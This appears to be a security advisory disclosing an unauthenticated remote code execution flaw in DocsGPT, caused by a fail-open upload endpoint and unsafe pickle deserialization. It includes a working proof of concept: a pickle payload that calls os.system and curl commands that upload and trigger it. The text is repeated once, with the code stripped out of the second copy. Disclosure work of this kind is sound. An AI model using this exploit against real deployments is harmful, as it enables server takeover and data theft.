Summary
DocsGPT contains a critical vulnerability where an unauthenticated attacker can upload malicious FAISS index files (index.pkl) via the /api/upload_index endpoint. When these files are subsequently loaded for a query, the backend utilizes FAISS.load_local with allow_dangerous_deserialization=True, resulting in immediate, unauthenticated Remote Code Execution (RCE) on the server.
Crucially, this is an application logic flaw, not a deployment misconfiguration. The vulnerability remains fully exploitable even if an administrator strictly configures AUTH_TYPE=simple_jwt or session_jwt, because the vulnerable endpoint omits standard authentication checks.
Details
There are two core flaws that chain together to create this RCE:
-
Fail-Open Authentication Bypass:
The application/app.py before_request hook decodes JWT tokens but does not enforce them, leaving it to individual route handlers. The /api/upload_index endpoint (in application/api/internal/routes.py) completely omits the token verification check (if not request.decoded_token: return 401).
It has a verify_internal_key check, but this check is placed behind a conditional if settings.INTERNAL_KEY:. Because INTERNAL_KEY is None by default in application/core/settings.py, the check is entirely bypassed. Thus, the endpoint is completely public regardless of the AUTH_TYPE setting in the .env file.
-
Unsafe Deserialization:
The /api/upload_index endpoint saves uploaded index.pkl and index.faiss files directly to indexes/{id}/.
When a user or attacker requests an answer using this {id} as the source, the FaissStore.__init__ method (in application/vectorstore/faiss.py, line 57) loads it:
self.docsearch = FAISS.load_local(
temp_dir, self.embeddings, allow_dangerous_deserialization=True
)
Langchain's allow_dangerous_deserialization=True explicitly permits the loading of arbitrary Python objects using pickle. Supplying a crafted index.pkl results in the execution of arbitrary commands.
PoC
To prove that this vulnerability bypasses intended authentication and is a flaw within the application codebase, we deploy a "production-like" secured environment with Docker Compose.
Step 1. Set up the "Secure" Environment
In the root directory of the repository, create the following .env file explicitly requiring authentication:
LLM_PROVIDER=docsgpt
AUTH_TYPE=simple_jwt
JWT_SECRET_KEY=super_secure_prod_key
Run the instance:
docker compose -f deployment/docker-compose.yaml up -d
Step 2. Create the Malicious Payload
Run the following Python script locally to generate the malicious index.pkl and dummy index.faiss:
import os
import pickle
class Malicious(object):
def __reduce__(self):
# The payload to execute inside the DocsGPT backend container
return (os.system, ("touch /tmp/hacked_docsgpt_rce",))
with open("index.pkl", "wb") as f:
f.write(pickle.dumps(Malicious()))
with open("index.faiss", "wb") as f:
f.write(b"") # FAISS just needs the file to exist to pass the initial storage check
Step 3. Execute the Exploit
Even though the server expects Authorization: Bearer <token>, we can hit /api/upload_index without any headers.
# Upload the malicious index
curl -X POST http://localhost:7091/api/upload_index \
-F "user=attacker" \
-F "name=hacked_index" \
-F "tokens=10" \
-F "retriever=classic" \
-F "id=64b8f5b8e4b0a1b2c3d4e5f6" \
-F "type=file" \
-F "file_faiss=@index.faiss" \
-F "file_pkl=@index.pkl"
# Trigger the deserialization (RCE) by querying the uploaded index
curl -X POST http://localhost:7091/api/answer \
-H "Content-Type: application/json" \
-d '{"question": "trigger", "api_key": "x", "embeddings_key": "x", "source": "64b8f5b8e4b0a1b2c3d4e5f6", "history": ""}'
Step 4. Verification
Check the backend container. The /tmp/hacked_docsgpt_rce file successfully exists, proving unauthenticated command execution.
docker exec docsgpt-backend-1 ls -la /tmp/hacked_docsgpt_rce
Impact
This is a Critical (CVSS 9.8) Unauthenticated Remote Code Execution vulnerability.
Anyone who can reach the DocsGPT HTTP port (default 7091 or exposed via Nginx/Frontend) can gain complete control over the DocsGPT backend container/server. This can lead to database compromise, theft of cloud credentials (if the container has IAM roles), leakage of all user documents, and lateral movement into the internal network. All users hosting DocsGPT are impacted, as the INTERNAL_KEY relies on fail-open logic by default.
Summary
DocsGPT contains a critical vulnerability where an unauthenticated attacker can upload malicious FAISS index files (
index.pkl) via the/api/upload_indexendpoint. When these files are subsequently loaded for a query, the backend utilizesFAISS.load_localwithallow_dangerous_deserialization=True, resulting in immediate, unauthenticated Remote Code Execution (RCE) on the server.Crucially, this is an application logic flaw, not a deployment misconfiguration. The vulnerability remains fully exploitable even if an administrator strictly configures
AUTH_TYPE=simple_jwtorsession_jwt, because the vulnerable endpoint omits standard authentication checks.Details
There are two core flaws that chain together to create this RCE:
Fail-Open Authentication Bypass:
The
application/app.pybefore_requesthook decodes JWT tokens but does not enforce them, leaving it to individual route handlers. The/api/upload_indexendpoint (inapplication/api/internal/routes.py) completely omits the token verification check (if not request.decoded_token: return 401).It has a
verify_internal_keycheck, but this check is placed behind a conditionalif settings.INTERNAL_KEY:. BecauseINTERNAL_KEYisNoneby default inapplication/core/settings.py, the check is entirely bypassed. Thus, the endpoint is completely public regardless of theAUTH_TYPEsetting in the.envfile.Unsafe Deserialization:
The
/api/upload_indexendpoint saves uploadedindex.pklandindex.faissfiles directly toindexes/{id}/.When a user or attacker requests an answer using this
{id}as thesource, theFaissStore.__init__method (inapplication/vectorstore/faiss.py, line 57) loads it:Langchain's
allow_dangerous_deserialization=Trueexplicitly permits the loading of arbitrary Python objects usingpickle. Supplying a craftedindex.pklresults in the execution of arbitrary commands.PoC
To prove that this vulnerability bypasses intended authentication and is a flaw within the application codebase, we deploy a "production-like" secured environment with Docker Compose.
Step 1. Set up the "Secure" Environment
In the root directory of the repository, create the following
.envfile explicitly requiring authentication:Run the instance:
Step 2. Create the Malicious Payload
Run the following Python script locally to generate the malicious
index.pkland dummyindex.faiss:Step 3. Execute the Exploit
Even though the server expects
Authorization: Bearer <token>, we can hit/api/upload_indexwithout any headers.Step 4. Verification
Check the backend container. The
/tmp/hacked_docsgpt_rcefile successfully exists, proving unauthenticated command execution.docker exec docsgpt-backend-1 ls -la /tmp/hacked_docsgpt_rceImpact
This is a Critical (CVSS 9.8) Unauthenticated Remote Code Execution vulnerability.
Anyone who can reach the DocsGPT HTTP port (default 7091 or exposed via Nginx/Frontend) can gain complete control over the DocsGPT backend container/server. This can lead to database compromise, theft of cloud credentials (if the container has IAM roles), leakage of all user documents, and lateral movement into the internal network. All users hosting DocsGPT are impacted, as the
INTERNAL_KEYrelies on fail-open logic by default.